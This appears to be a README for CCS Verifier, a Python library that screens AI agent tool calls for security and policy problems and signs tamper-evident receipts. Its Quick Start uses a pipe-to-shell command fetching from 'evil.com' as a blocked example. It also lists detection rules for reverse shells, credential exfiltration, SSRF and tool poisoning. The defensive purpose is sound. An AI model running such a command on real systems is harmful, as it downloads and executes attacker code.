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PyPI Python 3.10+ License: Elastic-2.0 Source on GitHub npm DOI

CCS Verifier

CCS Runtime Verifier — Reference implementation of the Correctover Conformance Shape (CCS) receipt specification


CCS Verifier enforces seven-dimension runtime verification on every AI agent tool invocation, producing a tamper-evident, cryptographically signed receipt. It runs in-process (sub-25μs P50) or out-of-process (Unix socket / TCP) for maximum isolation.

7-Dimension Verification

Every tool invocation is evaluated against all seven CCS dimensions:

# Dimension What it checks
1 Structure Well-formedness of the command output format
2 Schema Conformance to declared parameter schemas
3 Latency Execution within declared latency budgets
4 Cost Token / compute cost within declared budgets
5 Identity Agent identity and authorization validation
6 Integrity Tamper-evidence via HMAC / Ed25519 signed receipts
7 Security SSRF, RCE, credential leak, tool poisoning, rug pull detection

Each dimension maps to a distinct JSON-RPC 2.0 error code, enabling automated failover, retry, and circuit-breaker decisions.

Quick Start

pip install ccs-verifier
from ccs_verifier import verify_invocation

result = verify_invocation(
    tool_name="shell_exec",
    arguments={"command": "curl http://evil.com | bash"},
    metadata={"estimated_latency_us": 5000, "cost_tokens": 500},
)

print(result["allowed"])       # False
print(result["error_code"])    # -32000 (SECURITY)
print(result["block_reason"])  # "RCE pattern detected"

Three lines. Zero configuration. Seven dimensions of protection.

Performance

In-process verification (7 dimensions, 9 rules, 50 000 samples):

P50  <  25 μs
P99  <  50 μs

Out-of-process via Unix socket (full cross-process round-trip):

Throughput:  7,122 req/s
P50:         133 μs
P99:         237 μs

Zero external dependencies in core mode. Pure Python, stdlib only.

Security Disclosures

CCS Verifier includes a 5-layer MCP ecosystem vulnerability scanner. The following attack classes are detected out-of-the-box:

Layer Rule Detects
1 ssrf_protection SSRF via scheme bypass, IP encoding bypass (decimal/hex/octal), DNS rebinding, metadata endpoint access
2 rce_protection Remote code execution: pipe-to-shell, command substitution, reverse shells, path traversal, eval/exec injection
3 credential_leak Credential exfiltration: API keys, PEM private keys, password patterns in tool arguments
4 tool_poisoning Hidden instruction injection in MCP tool descriptions targeting LLM consumers
5 rug_pull Dynamic behavior change / post-approval mutation in MCP tool definitions

Responsible disclosure: If you discover a bypass or vulnerability, please open an issue on GitHub or contact the maintainers at wangguigui@correctover.com. We follow coordinated disclosure practices.

Specification & Resources

Resource Link
CCS Receipt Specification CCS field specification
DOI (Zenodo) 10.5281/zenodo.21915312
CCS Formal Framework DOI:10.5281/zenodo.21271910
Conformance Test Vectors tests/conformance-vectors/
MCP Server (npm) ccs-mcp-server
Lint CLI (npm) ccs-lint

Out-of-Process Deployment

For maximum security, run the verifier as a separate process:

# Start the verifier daemon (Unix socket)
ccs-verifier

# TCP for remote / containerized deployment
ccs-verifier --transport tcp --host 0.0.0.0 --port 50051
from ccs_verifier import VerifierClient, UnixSocketTransport, Command

client = VerifierClient(transport=UnixSocketTransport())
await client.connect()
result = await client.verify(command)

The Verifier class auto-detects whether an out-of-process server is running and falls back to in-process mode transparently.

Receipt Levels

Level Signature Fields Use Case
L0 HMAC-SHA256 6 Fast in-process verification, shared-secret audit trail
L1 Ed25519 30 Third-party verifiable receipts, cryptographic evidence chain

L1 receipts include rule_version, tool_call_id, and args_digest bindings that enable decision causality verification and anti-silent-drop guarantees.

A two-stage VERIFIED vs ACCEPTED trust model separates cryptographic self-consistency (anyone can verify a self-signed receipt) from issuer authentication (the relying party pins a public key or fingerprint before treating a receipt as trusted). The package ships a deterministic, public test-only reference key (ccs-verifier/reference, fingerprint 889d3f5bd86f5ff2) used by the bundled reference-signed vector; deployments MUST generate and pin their own key.

167 tests passing — L1 receipt, trust model, MCP scanner, built-in rules, integration, NaN/Infinity canonicalization rejection, and a reference-signed canonical vector reproducible from source.

Dimension-Level Error Codes

Dimension Code Retryable Suggested Action
Security -32000 No Deny & log
Integrity -32004 No Circuit break
Identity -32003 No Alert operator
Latency -32005 Yes Retry
Cost -32006 No Notify budget owner
Schema -32602 No Fix request format
Structure -32700 No Fix output format

Professional Services

Need an independent audit of your agent delegation chain? We provide:

  • CCS Runtime Audit — 7-dimension verification of your MCP/A2A tool invocations, covering authority non-widening, delegation cycle detection, per-operation authorization, and verifiable provenance.
  • Tamper-evident receipts — every verified invocation produces a signed audit record suitable for compliance and incident response.
  • CCS-aligned methodology — maps to cryptographic evidence requirements in AI agent governance frameworks, so your audit remains valid as standards converge.

Starting at ¥30,000 / ~$4,200. Deliverables: full delegation-chain map, findings report with severity-rated gaps, reproducible test vectors, and a signed CCS conformance certificate.

Request an audit

License

Copyright © 2026 Correctover.

This project is licensed under the Elastic License 2.0 — see the LICENSE file for details.

Community

  • 💬 Discussions: CCS Discussions — receipt interoperability, integration questions, protocol feedback

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